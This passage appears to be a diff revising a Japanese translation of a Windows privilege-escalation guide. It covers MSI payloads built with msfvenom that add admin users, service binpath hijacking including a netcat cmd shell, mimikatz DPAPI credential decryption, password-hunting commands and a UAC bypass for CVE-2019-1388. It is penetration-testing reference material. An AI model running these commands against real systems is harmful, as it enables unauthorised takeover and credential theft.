-> さらに、WSUS サービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名の自己署名証明書を生成し、この証明書を現在のユーザーの証明書ストアに追加すれば、HTTP および HTTPS WSUS トラフィックの両方を傍受できるようになります。WSUS は、証明書に対して信頼性のある初回使用型の検証を実装するための HSTS のようなメカニズムを使用していません。提示された証明書がユーザーによって信頼され、正しいホスト名を持っている場合、サービスによって受け入れられます。
+> さらに、WSUS サービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名の自己署名証明書を生成し、この証明書を現在のユーザーの証明書ストアに追加すれば、HTTP および HTTPS WSUS トラフィックの両方を傍受できるようになります。WSUS は、証明書に対して信頼の初回使用タイプの検証を実装するための HSTS のようなメカニズムを使用していません。提示された証明書がユーザーによって信頼され、正しいホスト名を持っている場合、サービスによって受け入れられます。
この脆弱性を利用するには、ツール [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) を使用できます(解放された場合)。
## KrbRelayUp
-**ローカル特権昇格**の脆弱性は、特定の条件下で Windows **ドメイン** 環境に存在します。これらの条件には、**LDAP 署名が強制されていない**環境、ユーザーが **リソースベースの制約付き委任 (RBCD)** を構成する権利を持っている環境、およびユーザーがドメイン内でコンピュータを作成する能力が含まれます。これらの**要件**は、**デフォルト設定**を使用して満たされることに注意が必要です。
+**ローカル特権昇格** 脆弱性は、特定の条件下で Windows **ドメイン** 環境に存在します。これらの条件には、**LDAP 署名が強制されていない** 環境、ユーザーが **リソースベースの制約付き委任 (RBCD)** を構成する権利を持っていること、およびユーザーがドメイン内にコンピュータを作成する能力が含まれます。これらの **要件** は **デフォルト設定** を使用して満たされることに注意が必要です。
-**エクスプロイトを見つける**には [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
+**エクスプロイトを見つける** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
攻撃の流れについての詳細は、[https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) を確認してください。
## AlwaysInstallElevated
-**これらの 2 つのレジスタが** **有効** (値が **0x1**) の場合、あらゆる特権のユーザーが **インストール** (実行) `*.msi` ファイルを NT AUTHORITY\\**SYSTEM** として実行できます。
+**これらの 2 つのレジスタが **有効** (値が **0x1**) の場合、任意の特権を持つユーザーは **インストール** (実行) `*.msi` ファイルを NT AUTHORITY\\**SYSTEM** として実行できます。
```bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@@ -208,7 +208,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
### PowerUP
-`Write-UserAddMSI`コマンドをpower-upから使用して、現在のディレクトリ内にWindows MSIバイナリを作成し、特権を昇格させます。このスクリプトは、ユーザー/グループの追加を促すプリコンパイルされたMSIインストーラーを書き出します(そのため、GIUアクセスが必要です):
+`Write-UserAddMSI`コマンドをpower-upから使用して、現在のディレクトリ内に特権を昇格させるためのWindows MSIバイナリを作成します。このスクリプトは、ユーザー/グループの追加を促す事前コンパイルされたMSIインストーラーを書き出します(そのため、GIUアクセスが必要です)。
```
Write-UserAddMSI
```
@@ -232,7 +232,7 @@ create-msi-with-wix.md
- **Cobalt Strike**または**Metasploit**を使用して、`C:\privesc\beacon.exe`に**新しいWindows EXE TCPペイロード**を生成します。
- **Visual Studio**を開き、**新しいプロジェクトを作成**を選択し、検索ボックスに「installer」と入力します。**Setup Wizard**プロジェクトを選択し、**Next**をクリックします。
-- プロジェクトに**AlwaysPrivesc**のような名前を付け、場所に**`C:\privesc`**を使用し、**ソリューションとプロジェクトを同じディレクトリに配置**を選択し、**Create**をクリックします。
+- プロジェクトに**AlwaysPrivesc**という名前を付け、場所に**`C:\privesc`**を使用し、**ソリューションとプロジェクトを同じディレクトリに配置**を選択し、**Create**をクリックします。
- **Next**をクリックし続け、ステップ3の4(含めるファイルを選択)に到達します。**Add**をクリックし、先ほど生成したBeaconペイロードを選択します。次に、**Finish**をクリックします。
- **Solution Explorer**で**AlwaysPrivesc**プロジェクトをハイライトし、**Properties**で**TargetPlatform**を**x86**から**x64**に変更します。
- **Author**や**Manufacturer**など、インストールされたアプリをより正当なものに見せるために変更できる他のプロパティもあります。
@@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
```
### LAPS
-**LAPS**は、**ローカル管理者パスワードの管理**のために設計されており、ドメインに参加しているコンピュータ上で各パスワードが**一意で、ランダム化され、定期的に更新される**ことを保証します。これらのパスワードはActive Directory内に安全に保存され、ACLを通じて十分な権限が付与されたユーザーのみがアクセスでき、認可されている場合にローカル管理者パスワードを表示できます。
+**LAPS**は、**ローカル管理者パスワードの管理**のために設計されており、ドメインに参加しているコンピュータ上で各パスワードが**一意で、ランダム化され、定期的に更新される**ことを保証します。これらのパスワードはActive Directory内に安全に保存され、ACLを通じて十分な権限を付与されたユーザーのみがアクセスでき、認可されている場合にローカル管理者パスワードを表示できます。
{{#ref}}
../active-directory-methodology/laps.md
@@ -289,7 +289,7 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
```
### Credentials Guard
-**Credential Guard** は **Windows 10** で導入されました。その目的は、デバイスに保存された資格情報をパス・ザ・ハッシュ攻撃のような脅威から保護することです。| [**Credentials Guard に関する詳細はこちら。**](../stealing-credentials/credentials-protections.md#credential-guard)
+**Credential Guard** は **Windows 10** で導入されました。その目的は、デバイスに保存された資格情報をパス・ザ・ハッシュ攻撃のような脅威から保護することです。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
```bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
@@ -329,8 +329,8 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
### トークン操作
-このページで**トークンとは何か**について**詳しく学んでください**:[**Windows Tokens**](../authentication-credentials-uac-and-efs/#access-tokens)。\
-次のページをチェックして、**興味深いトークンについて学び**、それらを悪用する方法を確認してください:
+このページで**トークンとは何か**について**詳しく学んでください**:[**Windows トークン**](../authentication-credentials-uac-and-efs/#access-tokens)。\
+次のページをチェックして**興味深いトークンについて学び**、それらを悪用する方法を確認してください:
{{#ref}}
privilege-escalation-abusing-tokens.md
@@ -358,7 +358,7 @@ powershell -command "Get-Clipboard"
### ファイルとフォルダーの権限
-まず、プロセスをリストアップして、**プロセスのコマンドライン内にパスワードがないか確認します**。\
+まず、プロセスをリストする際に、**プロセスのコマンドライン内のパスワードを確認**します。\
**実行中のバイナリを上書きできるか**、またはバイナリフォルダーの書き込み権限があるかを確認して、可能な[**DLLハイジャック攻撃**](dll-hijacking/)を利用します:
```bash
Tasklist /SVC #List processes running and services
@@ -381,7 +381,7 @@ icacls "%%z"
)
)
```
-**プロセスバイナリのフォルダの権限を確認する (**[**DLL Hijacking**](dll-hijacking/)**)**
+**プロセスバイナリのフォルダーの権限を確認する (**[**DLL Hijacking**](dll-hijacking/)**)**
```bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@@ -431,7 +431,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
### サービスを有効にする
-このエラーが発生している場合(例えばSSDPSRVの場合):
+このエラーが発生している場合(例えばSSDPSRVで):
_システムエラー1058が発生しました。_\
NAN;_Tサービスは無効になっているか、関連付けられた有効なデバイスがないため、開始できません。_
@@ -447,7 +447,7 @@ sc.exe config usosvc start= auto
```
### **サービスバイナリパスの変更**
-「認証されたユーザー」グループがサービスに対して **SERVICE_ALL_ACCESS** を持つシナリオでは、サービスの実行可能バイナリを変更することが可能です。 **sc** を変更して実行するには:
+「認証されたユーザー」グループがサービスに対して **SERVICE_ALL_ACCESS** を持つシナリオでは、サービスの実行可能バイナリを変更することが可能です。**sc** を変更して実行するには:
```bash
sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config binpath= "net localgroup administrators username /add"
@@ -472,8 +472,8 @@ net stop [service name] && net start [service name]
### サービスバイナリの弱い権限
-**サービスによって実行されるバイナリを変更できるかどうか**、または**バイナリが存在するフォルダーに対して書き込み権限があるかどうかを確認してください**([**DLL Hijacking**](dll-hijacking/))。\
-サービスによって実行されるすべてのバイナリを **wmic**(system32 ではない)を使用して取得し、**icacls** を使用して権限を確認できます:
+**サービスによって実行されるバイナリを変更できるかどうか**、または**バイナリがあるフォルダーに対する書き込み権限があるかどうかを確認してください**([**DLL Hijacking**](dll-hijacking/))。\
+**wmic**(system32ではない)を使用してサービスによって実行されるすべてのバイナリを取得し、**icacls**を使用して権限を確認できます:
```bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@@ -497,7 +497,7 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone"
```
-**Authenticated Users** または **NT AUTHORITY\INTERACTIVE** が `FullControl` 権限を持っているかどうかを確認する必要があります。そうであれば、サービスによって実行されるバイナリを変更できます。
+**Authenticated Users** または **NT AUTHORITY\INTERACTIVE** が `FullControl` 権限を持っているかどうかを確認する必要があります。もしそうであれば、サービスによって実行されるバイナリを変更することができます。
実行されるバイナリのパスを変更するには:
```bash
@@ -547,7 +547,7 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex
```
### Recovery Actions
-Windowsは、サービスが失敗した場合に実行されるアクションをユーザーが指定できるようにしています。この機能は、バイナリを指すように構成できます。このバイナリが置き換え可能であれば、特権昇格が可能かもしれません。詳細は[公式ドキュメント]()を参照してください。
+Windowsは、サービスが失敗した場合に実行されるアクションをユーザーが指定できるようにします。この機能は、バイナリを指すように構成できます。このバイナリが置き換え可能であれば、特権昇格が可能かもしれません。詳細は[公式ドキュメント]()に記載されています。
## Applications
@@ -564,9 +564,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```
### 書き込み権限
-特定のファイルを読み取るために設定ファイルを変更できるか、または管理者アカウント(schedtasks)によって実行されるバイナリを変更できるかを確認してください。
+特定のファイルを読み取るために設定ファイルを変更できるか、または管理者アカウント(schedtasks)によって実行されるバイナリを変更できるかを確認します。
-システム内の弱いフォルダー/ファイルの権限を見つける方法は次のとおりです:
+システム内の弱いフォルダー/ファイルの権限を見つける方法は次の通りです:
```bash
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
@@ -592,7 +592,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
### スタートアップ時に実行
**異なるユーザーによって実行されるレジストリまたはバイナリを上書きできるか確認してください。**\
-**以下のページを読んで、特権を昇格させるための興味深い** **オートランの場所**について学んでください:
+**次のページを読んで、特権を昇格させるための興味深い** **オートランの場所**について学んでください:
{{#ref}}
privilege-escalation-with-autorun-binaries.md
@@ -608,7 +608,7 @@ driverquery /SI
```
## PATH DLL ハイジャック
-**PATHに存在するフォルダー内に書き込み権限がある場合**、プロセスによってロードされたDLLをハイジャックし、**権限を昇格させる**ことができるかもしれません。
+**PATHに存在するフォルダー内に書き込み権限がある場合**、プロセスによって読み込まれるDLLをハイジャックし、**権限を昇格させる**ことができるかもしれません。
PATH内のすべてのフォルダーの権限を確認してください:
```bash
@@ -662,7 +662,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
[**ファイアウォール関連のコマンドについてはこのページを確認してください**](../basic-cmd-for-pentesters.md#firewall) **(ルールのリスト、ルールの作成、オフにする、オフにする...)**
-ネットワーク列挙のためのさらに多くの[コマンドはこちら](../basic-cmd-for-pentesters.md#network)
+ネットワーク列挙のためのより多くの[コマンドはこちら](../basic-cmd-for-pentesters.md#network)
### Windows Subsystem for Linux (wsl)
```bash
@@ -671,7 +671,7 @@ C:\Windows\System32\wsl.exe
```
バイナリ `bash.exe` は `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` にも見つけることができます。
-ルートユーザーを取得すると、任意のポートでリッスンできます(最初に `nc.exe` を使用してポートでリッスンすると、GUIを介して `nc` がファイアウォールによって許可されるべきかどうかを尋ねられます)。
+ルートユーザーを取得すると、任意のポートでリッスンできます(`nc.exe` を使用してポートでリッスンする最初の時に、GUIを通じて `nc` がファイアウォールによって許可されるべきかどうか尋ねられます)。
```bash
wsl whoami
./ubuntun1604.exe config --default-user root
@@ -699,7 +699,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
### Credentials manager / Windows vault
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
-Windows Vaultは、**Windows**が**ユーザーを自動的にログイン**させるためのサーバー、ウェブサイト、その他のプログラムのユーザー資格情報を保存します。最初は、ユーザーがFacebookの資格情報、Twitterの資格情報、Gmailの資格情報などを保存できるようになり、ブラウザを通じて自動的にログインできるように見えるかもしれません。しかし、そうではありません。
+Windows Vaultは、**Windows**が**ユーザーを自動的にログインさせる**ことができるサーバー、ウェブサイト、その他のプログラムのユーザー資格情報を保存します。一見すると、ユーザーがFacebookの資格情報、Twitterの資格情報、Gmailの資格情報などを保存できるようになり、ブラウザを通じて自動的にログインできるように見えるかもしれません。しかし、そうではありません。
Windows Vaultは、Windowsがユーザーを自動的にログインさせることができる資格情報を保存します。つまり、リソース(サーバーまたはウェブサイト)にアクセスするために資格情報が必要な**Windowsアプリケーションは、このCredential Manager** & Windows Vaultを利用し、ユーザーが常にユーザー名とパスワードを入力する代わりに提供された資格情報を使用できます。
@@ -734,7 +734,7 @@ DPAPIを使用して暗号化されたユーザーRSA鍵は、`%APPDATA%\Microso
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
```
-**mimikatz モジュール** `dpapi::masterkey` を適切な引数(`/pvk` または `/rpc`)で使用して、それを復号化できます。
+**mimikatzモジュール** `dpapi::masterkey` を適切な引数(`/pvk` または `/rpc`)と共に使用して、それを復号化できます。
**マスターパスワードによって保護された資格情報ファイル** は通常、次の場所にあります:
```powershell
@@ -744,7 +744,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
**mimikatzモジュール** `dpapi::cred` を適切な `/masterkey` と共に使用して復号化できます。\
-**メモリ** から **多くのDPAPI** **マスタキー** を `sekurlsa::dpapi` モジュールを使用して抽出できます(あなたがルートである場合)。
+**メモリ** から **多くのDPAPI** **マスタキー** を `sekurlsa::dpapi` モジュールを使用して抽出できます(ルート権限が必要です)。
{{#ref}}
dpapi-extracting-passwords.md
@@ -789,7 +789,7 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
```
**Mimikatz** `dpapi::rdg` モジュールを適切な `/masterkey` と共に使用して **任意の .rdg ファイルを復号化**します。\
-メモリから多くの DPAPI マスタキーを **Mimikatz** `sekurlsa::dpapi` モジュールを使用して **抽出**できます。
+メモリから多くの DPAPI マスタキーを **Mimikatz** `sekurlsa::dpapi` モジュールで **抽出**できます。
### Sticky Notes
@@ -882,7 +882,7 @@ $ErrorActionPreference = $OrigError
### SCClient / SCCM
`C:\Windows\CCM\SCClient.exe` が存在するか確認します。\
-インストーラーは **SYSTEM 権限で実行され**、多くは **DLL サイドローディングに脆弱です(情報は** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)。**
+インストーラーは **SYSTEM 権限で実行され**、多くは **DLL サイドローディングに脆弱です (情報元は** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)。**
```bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
@@ -898,13 +898,13 @@ reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_
```
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
```
-### SSHキーのレジストリ
+### レジストリ内のSSHキー
-SSHプライベートキーはレジストリキー`HKCU\Software\OpenSSH\Agent\Keys`内に保存されることがあるため、そこに興味深いものがないか確認する必要があります:
+SSHプライベートキーは、レジストリキー `HKCU\Software\OpenSSH\Agent\Keys` に保存されることがあるため、そこに興味深いものがないか確認する必要があります:
```bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
```
-そのパス内にエントリが見つかった場合、それは保存されたSSHキーである可能性が高いです。これは暗号化されて保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)を使用して簡単に復号化できます。\
+そのパス内にエントリが見つかると、おそらく保存されたSSHキーです。これは暗号化されて保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)を使用して簡単に復号化できます。\
この技術に関する詳細情報はこちら: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
`ssh-agent`サービスが実行されていない場合、自動的に起動するようにするには、次のコマンドを実行します:
@@ -929,9 +929,9 @@ C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
```
-これらのファイルは、**metasploit**を使用しても検索できます: _post/windows/gather/enum_unattend_
+これらのファイルは**metasploit**を使用しても検索できます: _post/windows/gather/enum_unattend_
-例の内容:
+Example content:
```xml
@@ -976,7 +976,7 @@ AppData\Roaming\gcloud\access_tokens.db
### Cached GPP Pasword
-以前は、グループポリシーの設定(GPP)を介して一群のマシンにカスタムローカル管理者アカウントを展開する機能がありました。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、SYSVOLにXMLファイルとして保存されているグループポリシーオブジェクト(GPO)は、任意のドメインユーザーによってアクセス可能でした。次に、公開文書化されたデフォルトキーを使用してAES256で暗号化されたこれらのGPP内のパスワードは、認証されたユーザーによって復号化可能でした。これは、ユーザーが特権を昇格させることを可能にするため、深刻なリスクをもたらしました。
+以前は、グループポリシープリファレンス(GPP)を介して一群のマシンにカスタムローカル管理者アカウントを展開する機能が利用可能でした。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、SYSVOLにXMLファイルとして保存されているグループポリシーオブジェクト(GPO)は、任意のドメインユーザーによってアクセス可能でした。次に、これらのGPP内のパスワードは、公開文書化されたデフォルトキーを使用してAES256で暗号化されており、認証されたユーザーによって復号化可能でした。これは、ユーザーが特権を昇格させることを可能にするため、深刻なリスクをもたらしました。
このリスクを軽減するために、「cpassword」フィールドが空でないローカルキャッシュされたGPPファイルをスキャンする機能が開発されました。このようなファイルが見つかると、関数はパスワードを復号化し、カスタムPowerShellオブジェクトを返します。このオブジェクトには、GPPに関する詳細とファイルの場所が含まれており、このセキュリティ脆弱性の特定と修正に役立ちます。
@@ -1154,7 +1154,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
### ブラウザの履歴
-**ChromeやFirefox**からパスワードが保存されているdbを確認する必要があります。\
+**ChromeまたはFirefox**からパスワードが保存されているdbを確認する必要があります。\
また、ブラウザの履歴、ブックマーク、お気に入りも確認してください。そこに**パスワードが**保存されているかもしれません。
ブラウザからパスワードを抽出するためのツール:
@@ -1184,13 +1184,13 @@ com-hijacking.md
### **ファイルとレジストリ内の一般的なパスワード検索**
-**ファイルの内容を検索**
+**ファイル内容を検索**
```bash
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
```
-**特定のファイル名を持つファイルを検索する**
+**特定のファイル名のファイルを検索する**
```bash
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
@@ -1205,11 +1205,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
```
### パスワードを検索するツール
-[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **はmsfの** プラグインで、**被害者の内部で資格情報を検索するすべてのmetasploit POSTモジュールを自動的に実行するために作成しました。**\
+[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **はmsfの** プラグインで、**被害者の内部で資格情報を検索するすべてのmetasploit POSTモジュールを自動的に実行するために作成しました**。\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は、このページに記載されているパスワードを含むすべてのファイルを自動的に検索します。\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) は、システムからパスワードを抽出するためのもう一つの優れたツールです。
-ツール[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) は、**セッション**、**ユーザー名**、および**パスワード**を検索します。これらは、クリアテキストでデータを保存するいくつかのツール(PuTTY、WinSCP、FileZilla、SuperPuTTY、RDP)によって保存されます。
+ツール [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) は、**セッション**、**ユーザー名**、および**パスワード**を検索します。これらは、クリアテキストでデータを保存するいくつかのツール(PuTTY、WinSCP、FileZilla、SuperPuTTY、RDP)によって保存されます。
```bash
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
@@ -1220,14 +1220,14 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
**SYSTEMとして実行されているプロセスが新しいプロセスを開く** (`OpenProcess()`) **フルアクセスで**。同じプロセスが**低特権で新しいプロセスを作成する** (`CreateProcess()`) **が、メインプロセスのすべてのオープンハンドルを継承する**。\
その後、**低特権プロセスにフルアクセスがある場合**、`OpenProcess()`で作成された**特権プロセスへのオープンハンドルを取得し**、**シェルコードを注入**できます。\
-[この例を読んで、**この脆弱性を検出し、悪用する方法についての詳細を確認してください**。](leaked-handle-exploitation.md)\
-[この**別の投稿を読んで、異なる権限レベル(フルアクセスだけでなく)で継承されたプロセスとスレッドのオープンハンドルをテストし、悪用する方法についてのより完全な説明を確認してください**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
+[この例を読んで、**この脆弱性を検出し、悪用する方法についての詳細情報を得てください**。](leaked-handle-exploitation.md)\
+[この**別の投稿を読んで、異なる権限レベル(フルアクセスだけでなく)で継承されたプロセスとスレッドのオープンハンドルをテストし、悪用する方法についてのより完全な説明を得てください**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
## 名前付きパイプクライアントのなりすまし
共有メモリセグメント、すなわち**パイプ**は、プロセス間の通信とデータ転送を可能にします。
-Windowsは**名前付きパイプ**という機能を提供しており、無関係なプロセスが異なるネットワークを介してもデータを共有できます。これは、**名前付きパイプサーバー**と**名前付きパイプクライアント**として定義された役割を持つクライアント/サーバーアーキテクチャに似ています。
+Windowsは**名前付きパイプ**と呼ばれる機能を提供しており、無関係なプロセスが異なるネットワークを介してもデータを共有できます。これは、**名前付きパイプサーバー**と**名前付きパイプクライアント**として定義された役割を持つクライアント/サーバーアーキテクチャに似ています。
**クライアント**によってパイプを通じてデータが送信されると、パイプを設定した**サーバー**は**クライアントのアイデンティティを引き受ける**能力を持ちます。必要な**SeImpersonate**権限がある場合です。パイプを介して通信する**特権プロセス**を特定し、そのプロセスのアイデンティティを模倣する機会があり、あなたが確立したパイプと相互作用する際にそのプロセスのアイデンティティを採用することで**より高い特権を得る**ことができます。このような攻撃を実行するための指示は、[**こちら**](named-pipe-client-impersonation.md)および[**こちら**](./#from-high-integrity-to-system)で見つけることができます。
@@ -1247,13 +1247,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
```
-## プロセスからのパスワードの盗難
+## パスワードをプロセスから盗む
## 低特権ユーザーから NT\AUTHORITY SYSTEM へ (CVE-2019-1388) / UAC バイパス
グラフィカルインターフェース(コンソールまたは RDP 経由)にアクセスでき、UAC が有効になっている場合、Microsoft Windows の一部のバージョンでは、特権のないユーザーから「NT\AUTHORITY SYSTEM」などのターミナルや他のプロセスを実行することが可能です。
-これにより、特権を昇格させ、同じ脆弱性を使用して同時に UAC をバイパスすることができます。さらに、何かをインストールする必要はなく、プロセス中に使用されるバイナリは Microsoft によって署名され、発行されています。
+これにより、特権を昇格させ、同時に同じ脆弱性で UAC をバイパスすることができます。さらに、何もインストールする必要がなく、プロセス中に使用されるバイナリは Microsoft によって署名され、発行されています。
影響を受けるシステムの一部は以下の通りです:
```
@@ -1277,7 +1277,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
```
-この脆弱性を悪用するには、次のステップを実行する必要があります:
+この脆弱性を悪用するには、次の手順を実行する必要があります:
```
1) Right click on the HHUPD.EXE file and run it as Administrator.
@@ -1295,11 +1295,11 @@ Windows 10 1709 16299 link NOT opened
8) Remember to cancel setup and the UAC prompt to return to your desktop.
```
-あなたは以下のGitHubリポジトリに必要なファイルと情報をすべて持っています:
+あなたは次のGitHubリポジトリに必要なすべてのファイルと情報を持っています:
https://github.com/jas502n/CVE-2019-1388
-## 管理者の中程度から高い整合性レベル / UACバイパス
+## 管理者の中程度から高い整合性レベル / UACバイパスへ
**整合性レベルについて学ぶには、これを読んでください:**
@@ -1327,65 +1327,67 @@ sc start newservicename
高い整合性プロセスから、**AlwaysInstallElevatedレジストリエントリを有効にし**、_**.msi**_ラッパーを使用してリバースシェルを**インストール**しようとすることができます。\
[関与するレジストリキーと_.msi_パッケージのインストール方法についての詳細はこちら。](./#alwaysinstallelevated)
-### High + SeImpersonate privilege to System
+### High + SeImpersonate特権からSystemへ
-**コードは** [**こちらで見つけることができます**](seimpersonate-from-high-to-system.md)**。**
+**コードを** [**こちらで見つけることができます**](seimpersonate-from-high-to-system.md)**。**
-### From SeDebug + SeImpersonate to Full Token privileges
+### SeDebug + SeImpersonateからフルトークン特権へ
-これらのトークン権限を持っている場合(おそらくすでに高い整合性プロセスで見つけるでしょう)、**ほぼすべてのプロセス**(保護されたプロセスではない)をSeDebug権限で**開くことができ**、プロセスの**トークンをコピー**し、そのトークンを使用して**任意のプロセスを作成**することができます。\
-この技術を使用する際は、通常、**すべてのトークン権限を持つSYSTEMとして実行されている任意のプロセスを選択します**(_はい、すべてのトークン権限を持たないSYSTEMプロセスを見つけることができます_)。\
-**提案された技術を実行するコードの** [**例はこちらで見つけることができます**](sedebug-+-seimpersonate-copy-token.md)**。**
+これらのトークン特権を持っている場合(おそらくすでに高い整合性プロセスで見つけるでしょう)、**ほぼすべてのプロセス**(保護されたプロセスではない)をSeDebug特権で**開くことができ**、プロセスの**トークンをコピー**し、そのトークンを使用して**任意のプロセスを作成**することができます。\
+この技術を使用する際は、通常、**すべてのトークン特権を持つSYSTEMとして実行されている任意のプロセスを選択します**(_はい、すべてのトークン特権を持たないSYSTEMプロセスを見つけることができます_)。\
+**提案された技術を実行するコードの** [**例をこちらで見つけることができます**](sedebug-+-seimpersonate-copy-token.md)**。**
### **Named Pipes**
-この技術は、meterpreterが`getsystem`で昇格するために使用されます。この技術は、**パイプを作成し、そのパイプに書き込むサービスを作成/悪用する**ことから成ります。次に、**`SeImpersonate`**権限を使用してパイプを作成した**サーバー**は、パイプクライアント(サービス)の**トークンを偽装**し、SYSTEM権限を取得することができます。\
+この技術は、meterpreterが`getsystem`で昇格するために使用されます。この技術は、**パイプを作成し、そのパイプに書き込むサービスを作成/悪用する**ことから成ります。次に、**`SeImpersonate`**特権を使用してパイプを作成した**サーバー**は、パイプクライアント(サービス)の**トークンを偽装**し、SYSTEM特権を取得することができます。\
名前付きパイプについて[**もっと学びたい場合はこれを読むべきです**](./#named-pipe-client-impersonation)。\
高い整合性からSYSTEMに名前付きパイプを使用して移行する[**方法の例を読みたい場合はこれを読むべきです**](from-high-integrity-to-system-with-name-pipes.md)。
### Dll Hijacking
-**SYSTEM**として実行されている**プロセス**によって**ロードされるdllをハイジャック**することができれば、その権限で任意のコードを実行することができます。したがって、Dll Hijackingはこの種の権限昇格にも役立ち、さらに、高い整合性プロセスからは**はるかに簡単に達成できます**。なぜなら、dllをロードするために使用されるフォルダーに**書き込み権限**を持っているからです。\
+**SYSTEM**として実行されている**プロセス**によって**ロードされるdllをハイジャック**することができれば、その権限で任意のコードを実行することができます。したがって、Dll Hijackingはこの種の特権昇格にも役立ち、さらに、高い整合性プロセスからは**はるかに簡単に達成できます**。なぜなら、dllをロードするために使用されるフォルダーに**書き込み権限**を持っているからです。\
**Dllハイジャックについて** [**こちらで詳しく学ぶことができます**](dll-hijacking/)**。**
-### **From Administrator or Network Service to System**
+### **AdministratorまたはNetwork ServiceからSystemへ**
-{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
+{{#ref}}
+https://github.com/sailay1996/RpcSsImpersonator
+{{#endref}}
-### From LOCAL SERVICE or NETWORK SERVICE to full privs
+### LOCAL SERVICEまたはNETWORK SERVICEからフル特権へ
**読む:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
